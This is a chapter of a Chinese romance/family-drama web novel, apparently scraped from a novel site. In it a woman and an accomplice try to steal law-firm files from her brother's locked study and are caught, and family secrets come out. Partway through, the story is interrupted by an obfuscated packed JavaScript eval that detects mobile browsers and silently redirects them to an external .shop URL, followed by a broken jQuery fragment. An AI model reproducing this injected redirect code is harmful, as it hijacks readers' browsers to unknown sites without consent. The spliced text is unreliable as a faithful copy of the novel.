文趣网 > 其他小说 > 美丽之最 > 15. FreeFall
    雨不知何时停了,从咖啡厅内望出去,屋檐下余水成线,霓虹映着湿漉漉又空无一人的街景模糊不清。

    室内的人较平时更多,豆子的香气拌着轻音乐将时间无限拉长。

    旎真指尖在桌面一下一下敲着,手边躺着一部安静的手机。

    离这里三公里之外酒吧夜店成群,随着夜色深浓,年轻摩登的男女们纷纷出巢。

    下雨也没能消磨热情,躲进咖啡厅里化妆,三五个人的桌上立着一杯免赶金牌咖啡,店员见怪不怪。

    旎真坐在靠窗位置,仅供俩人用餐的小桌已经迎来第三个拼桌的。

    “哈喽,方便我坐这儿吗?”

    她抬头看了眼说话的男生,心不在焉地回着“随便”一边拿出手机,跟申雪的对话框仍安安静静。

    男生回头向某处望了一下,然后抽椅入座,带着炙热好奇的目光紧盯着旎真素净的脸:“你待会去哪个地方玩?要不要一起。”

    已经过去快三个小时了。

    食指继续在桌面一下一下地点,旎真托着腮,就在这时消息提示音响起,她赶紧拿起手机。

    申雪:书房门有密码,怎么办?

    动作这么快?

    来不及多想,旎真将关楚琼提前发给自己的密码转发给申雪:我哥现在在干嘛?

    申雪:进来了,他在洗澡。

    她感觉到体内的血液正涌上逆流,呼吸和皮肤都在发烫,连打字的手都颤:好,你速度要快,拍了照就复原不要被发现。

    这条消息发送出去之后,对话框沉默了好几分钟,而眼前的男生还在喋喋不休。

    旎真惊叹自己还剩未被耗尽的耐心,竖起食指在唇中靠拢:“别烦我了。”

    男生一愣,什么都没说起身离开了。

    世界回归清净,她双手握着手机等消息,面前的馥芮白早已凉透。

    旎真:找到没?

    申雪回复得很快:没有,文件太多了,根本不知道从哪里开始。

    旎真突然想起什么:有没有监控?

    申雪:没有,我找不到,要不开个视频?

    旎真浮躁焦急,她没去过那个房子,书房离卧室有多远,声音会不会引起关耀钧的警觉?

    念头闪过的几个瞬间屏幕突然出现视频通话请求,铃声刺耳,她下意识按下通话。

    申雪的声音很轻:“你放心,他刚进浴室没多久,他一般都要洗半个钟的。”

    明明在公共场所,旎真开口竟不自觉呼吸一窒:“棕色纸质的壳,封面应该印着律所logo,名字,名字我忘了......你等等我看下叫什么——”

    视频画面晃动了几下,最终锁定在整齐堆满文件夹的书柜里,申雪举着手机,从最上面那层架子开始翻找,都不太像。

    “叫什么?”

    话音刚落,门外传来脚步声,申雪心一慌连忙挂断视频通话,挂断前一秒只听到一个字音,shun。

    手在抖。

    越是这种时刻越不能乱,她思维异常地灵敏,轻轻关上了书柜大门,将自己碰歪的椅子板正,绕过书桌往门口快步走。

    外面的脚步声逐渐减弱,申雪猜测关耀钧没往书房这边来,被发现的概率不大。

    她在心里想好借口,就说去健身房逛了一圈。

    申雪深深地呼了口气,轻轻关上书房门,转身的刹那撞上一堵硬邦邦的墙,鼻息涌入一阵红酒香气,视线上抬,再上抬,对上一张布满阴云愠怒的脸庞,压迫摄人。

    她从未见过他这副模样,心几乎从嗓子眼蹦出来。

    “关先生......”

    关耀钧根本就没洗澡。

    “我,我没事做随便逛逛。”申雪强装镇定,指甲死抠大腿:“刚好看到这个房间,怎么还上了密码呀?”

    “你在找这个?”关耀钧从背后拿出一叠文件,封面写着‘顺实律所’四个字。

    想起视频挂断前旎真刚脱口的字,她大脑如遭雷击,根本不敢看他的表情。

    关耀钧唇角抿紧,不再理会她,转而掏出手机冷冷吐出两个字:“上来。”

    ......

    客厅内,所有灯都打开了,关耀钧坐在主沙发中央,文件便被随意搁置在一旁。

    “什么时候跟旎真认识的?”

    申雪不知道旎真为什么突然找上自己,这份文件内容又是什么,有什么目的,只知道可以用它交换好处,但她也并非一无所知,至少事态有多么严重是清楚的。

    她的大脑在飞速运转,但关耀钧可没什么耐心,“你们以为我会这么天真的相信你出现在那家西餐厅纯属巧合?精心设计这么一出破绽百出的戏...愚蠢至极。”

    他眸光微烁,眼底似乎闪过一抹叹息,仅仅半秒便恢复如常,算着时间差不多了:“去开门。”

    过了好几秒申雪才反应过来,四肢僵硬地走过去。

    打开门对上一张嗔怒的脸,只是瞟了她一眼便绕过匆匆进去,旎真步履生风:“跟申雪没关系,你别为难她。”

    关耀钧冷冷地撇她一眼,感觉荒谬得可笑:“我为难她,秘书每个月雷打不动给她二十万,她会去西餐厅打工?”

    “......”

    申雪慢腾腾地挪上前,皱眉咬唇:“关先生,我真的...我真的什么都不知道,对不起,对不起,你原谅我这次吧......”

    “出去。”

    “……我还能再见到你吗?”她几乎失音。

    关耀钧没再看她一眼,说过的话也不会重复第二遍,空气就这么陷入沉默。

    僵持不下,旎真侧头低声道:“你先走吧。”

    申雪犹豫半晌,却还是不甘心地离开了。

    听见关门声传来,旎真立刻看向关耀钧:“所以那个文件里面是什么,你这些年收集的姐的把柄?”

    “她这么跟你说?”

    “你们非要斗个你死我活?”

    她就像听不进任何话,一次两次地反问,就在这时,目光忽地扫过沙发上的棕色纸壳文件,手刚碰到文件的那一秒,一只更为有力的大掌压了下去。

    “给我!”她死死摁住。

    “不行。”

    “我要看!”

    关耀钧一边抓住旎真的手,一边将文件抽过去,肃声道:“我可以告诉你你想知道的,但这里面还有其他内容,你不能看。”

    “......”旎真捋了把头发:“那你直接告诉我。”

    “旎真,先坐会儿,”关耀钧起身去吧台调了一杯DryMartini,放在她面前:“特地换成了甜味美思,好入口一点,试试?”

    旎真喝了一大口,没尝出什么味道,催促的眼神瞪着他。

    他在斜对面沙发上坐下。

    “关楚琼不是跟你我一母同胞的兄弟姐妹。”

    “这件事媒体不知道,整个关家除了爸妈和我以及当事人,知道的不超过三个,现在你知道了。”

    关耀钧就这么面无表情地道出瞒了旎真二十多年的真相,以种风轻云淡的口吻。

    旎真顿了半秒,旋即冷笑。

    “不信?”关耀钧轻晃酒杯:“你可以去问她,小妹,得知自己被当枪使的滋味怎么样?”

    “......”旎真嘴角扯出的弧度渐渐凝结了,几分怀疑,几分疑惑,难以置信都涌上心头。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679168|207629||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “我跟姐从小一起长大,我生病她跟屠姨整天整夜照顾我,每回学校家长会都是她出席,她毕业工作结婚都在家里,都跟我在一起,现在你告诉我不是一个妈?”

    关耀钧长舒口气放下酒杯,手肘撑着膝盖,双手交叉:“是在我刚念小学的时候接回国的,楚琼不过一岁多,趁着年纪小外头好应付,上了族谱,媒体都以为是二胎。那个女人在澳洲还有两个孩子,一男一女,年纪都比你大。”

    澳洲,那个女人据说从前是爸爸公司的高管。

    旎真多多少少从屠姨和其他佣人口中得知一些,后来逐渐变成家里闭口不提却又心知肚明的事情。

    不懂事那会,旎真曾随口问唐女士。

    具体经过早已记不清,只记得唐女士当时发大火,一下子开除了好几个佣人,又警告她们不准乱嚼舌根。

    她对旎真说,以后不准再提。

    只是越这样,越昭然若揭。

    旎真只好在唐女士面前装傻,有时候把自己都骗过去,爸爸在澳洲有小三成了未捅破的窗户纸,只是她怎么都没想到,看着自己长大的关楚琼不是唐女士所出。

    “如果是这样,爸为什么单单把姐接回来?又为什么瞒着我?”

    旎真满心满脸茫然,一边是自己最亲近的姐姐,一边是血缘事实,她怎么接受,这个家里还有什么是真的。

    而关耀钧接下来的话让旎真如坠冰窟。

    一字一句,就像被一盆凉水从头淋到脚。

    “旎真,质问别人的时候反问一下自己究竟配不配得上这份坦诚相交的信任。”

    “你从小在糖罐子里长大,抛开家世外貌还有什么能支撑起你虚无的内在,不思进取,学业平平,对家里的产业丝毫不关心,连关楚琼一半都比不上。”

    “有时候真的怀疑你到底是不是我的妹妹。”

    ......

    凌晨两点,场馆外豪车成群,五颜六色的灯映得这片街区天光大亮。

    雨停了很久,下水道反上来一股泥腥味,夹杂着烟酒气,人在路边站两分钟就受不了。

    旎真把烟蒂摁在垃圾桶上脏乱不堪的烟灰缸里,转身往里走。

    她没有像大多数姑娘一样画着精致夸张的烟熏妆,道路两侧却不断投来注视。

    或许是她脸色黑得可以,又或许是对路边那辆大黄P1望而却步,没有人敢上前搭讪。

    从关耀钧住所离开时,出了小区旎真就发现有保镖跟着,她装作没察觉地回了家,十分钟后开了辆几乎不碰的跑车出来,在深夜无人的马路上几乎飙到两百八十码把他甩掉了。

    PH门口经理拦住她:“不好意思,今天有人包场了,从十二点开始谁都不让进。”

    他老远就看见旎真从什么车上下来,这通身气质,为难道:“我也是个办事的,今晚来的顾客有些身份特殊需要注意隐私,那边说了,不认识不能进......”

    旎真回头梭巡一圈,发现有几辆车很眼熟,问他:“里面有我熟人,不能进?”

    “冒昧问一下姓名?”

    “姓蒋,那辆红色的小牛她的。”

    经理脸色缓和许多,取下腰上别的对讲:“那这样,我跟包场那位吱一声,您稍等啊!”

    旎真突然烦了,反骨心蹭地冒出来:“这账单我不能签?”

    这架势一看就认真了,经理不停赔笑打缓和,又冲着对讲机催了两道。

    不多时,签账单的人出来了。

    黑衣短裤,指间夹着烟,勾着身子掀帘。

    旎真眉心一跳。

    “怎么是你。”

    “我不知道这家夜店是二小姐开的,不让我来消费?”